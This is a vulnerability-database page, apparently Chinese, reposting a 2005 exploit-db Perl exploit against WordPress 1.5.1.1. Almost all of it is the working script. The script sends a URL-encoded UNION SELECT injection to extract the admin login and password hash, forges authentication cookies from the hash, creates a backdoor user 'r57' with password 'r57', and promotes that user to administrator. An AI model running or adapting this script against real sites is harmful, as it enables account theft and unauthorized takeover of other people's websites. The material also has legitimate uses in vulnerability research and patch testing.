WordPress 1.5.1.1 – ‘add new admin’ SQL Injection

WordPress 1.5.1.1 – ‘add new admin’ SQL Injection

漏洞ID 1055176 漏洞类型
发布时间 2005-06-21 更新时间 2005-06-21
图片[1]-WordPress 1.5.1.1 – ‘add new admin’ SQL Injection-安全小百科CVE编号 N/A
图片[2]-WordPress 1.5.1.1 – ‘add new admin’ SQL Injection-安全小百科CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/1059
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#!/usr/bin/perl

## WordPress <= 1.5.1.1 sql injection "add new admin" exploit
## by RST/GHC , http://rst.void.ru , http://ghc.ru
## coded by 1dt.w0lf

use LWP::UserAgent;
use Getopt::Std;
use HTTP::Cookies;
use Digest::MD5 qw(md5_hex);
getopts('h:p:');

$path = $opt_h;
$pref = $opt_p || 'wp_';

if(!$path) { usage(); }

$xpl = LWP::UserAgent->new() or die;
&header();
print " +---[x] STEP 1 - TRY GET ADMIN INFOn";
$reg  = $path;
$reg .= '?%63%61%74=%36%36%36%20%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%36%36%36%2C%63%6F%6E'.
        '%63%61%74%28%63%68%61%72%28%35%38%2C%35%38%2C%35%38%29%2C%75%73%65%72%5F%6C%6F%67%69'.
        '%6E%2C%63%68%61%72%28%35%38%2C%35%38%2C%35%38%29%2C%75%73%65%72%5F%70%61%73%73%2C%63'.
        '%68%61%72%28%35%38%2C%35%38%2C%35%38%29%29%2C%6E%75%6C%6C%2C%6E%75%6C%6C%2C%6E%75%6C'.
        '%6C%20%66%72%6F%6D%20'.$pref.'%75%73%65%72%73%20%57%48%45%52%45%20%49%44=1'; ### 1 - admin ID
$res = $xpl->get($reg);
die "ERROR : ", $res->status_line unless $res->is_success;
if($res->content =~ m/(?::::)(.*)(?::::)([a-f0-9]{32})(?::::)(</title>)/) 
  { 
  $login = $1; $hash = $2; 
  print "n>> LOGIN : $loginn>>  HASH : $hashnn";
  }
else { print "ERROR : Forum not vulnerable or bad prefix."; exit(); }

$cookie_jar = HTTP::Cookies->new();
($cpath = $path) =~ s!/$!!;
$hash  = md5_hex($hash);
($host   = $cpath) =~ s!http://([^/]*).*!$1!;
$cpath = md5_hex($cpath);

$xpl->cookie_jar( $cookie_jar );

$cookie_jar->set_cookie( "0","wordpresspass_$cpath","$hash","/",$host,,,,,);
$cookie_jar->set_cookie( "1","wordpressuser_$cpath","$login","/",$host,,,,,);
print " +---[x] STEP 2 - CREATE NEW USERn";
$reg  = $path;
$reg .= 'wp-admin/users.php';
$res = $xpl->post("$reg",
{
 "action"     => "adduser",
 "user_login" => "r57",
 "firstname"  => "RST",
 "lastname"   => "GHC",
 "email"      => "[email protected]",
 "uri"        => "http://rst.void.ru",
 "pass1"      => "r57",
 "pass2"      => "r57",
 "adduser"    => "Submit",
},
Referer => $reg
);
print " +---[x] STEP 3 - GET ID OF NEW USERn";
$reg  = $path;
$reg .= 'wp-admin/users.php';
$res = $xpl->get("$reg",Referer => $reg);
@res = split(/n/,$res->content);
$id = 0;
for(@res)
 {
  if(/(?:<td align='center'>)([0-9]*)(?:</td>)/) { $id = $1; }
  if(/<td><strong>r57</strong></td>/) { last; }
 }
die "ERROR : ", $res->status_line unless $res->is_success;
if($id != 0) { print "n>> ID : $idnn"; }
else { print "[-] ERROR : CAN'T GET NEW USER IDn"; exit(); }
print " +---[x] STEP 4 - LEVEL UP FOR NEW USERnn";
$reg  = $path;
$reg .= 'wp-admin/users.php?action=promote&id='.$id.'&prom=up';
for($i=0;$i<10;$i++)
{
print ">> LEVEL UP # $in";
$res = $xpl->get("$reg",Referer => $reg);
die "ERROR : ", $res->status_line unless $res->is_success;
}
print "nTHATS ALL. NOW YOU CAN LOGIN WITH USERNAME 'r57' AND PASSWORD 'r57'n";

sub usage()
{
 &header();
 print "USAGE : r57wp.pl [OPTIONS]n";
 print "noptions:nn";
 print "-h [path]n";
 print "	Path to wordpress installedn";
 print "-p [prefix] (optional)n";
 print "	Database tables prefix (default 'wp_')nn";
 print "e.g.: r57wp.pl -h http://blah.com/wordpress/n";
 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n";
 print "(c)oded by 1dt.w0lfn";
 print "RST/GHCn";
 print "http://ghc.run";
 print "http://rst.void.run";
 exit();
}
sub header()
{
 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n";
 print "                 WordPress 1.5.1.1 exploit                 n";
 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n";
}

# milw0rm.com [2005-06-21]

相关推荐: Unreal IRCd 格式字符串漏洞

Unreal IRCd 格式字符串漏洞 漏洞ID 1203439 漏洞类型 格式化字符串 发布时间 2002-12-31 更新时间 2002-12-31 CVE编号 CVE-2002-1675 CNNVD-ID CNNVD-200212-223 漏洞平台 N/…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享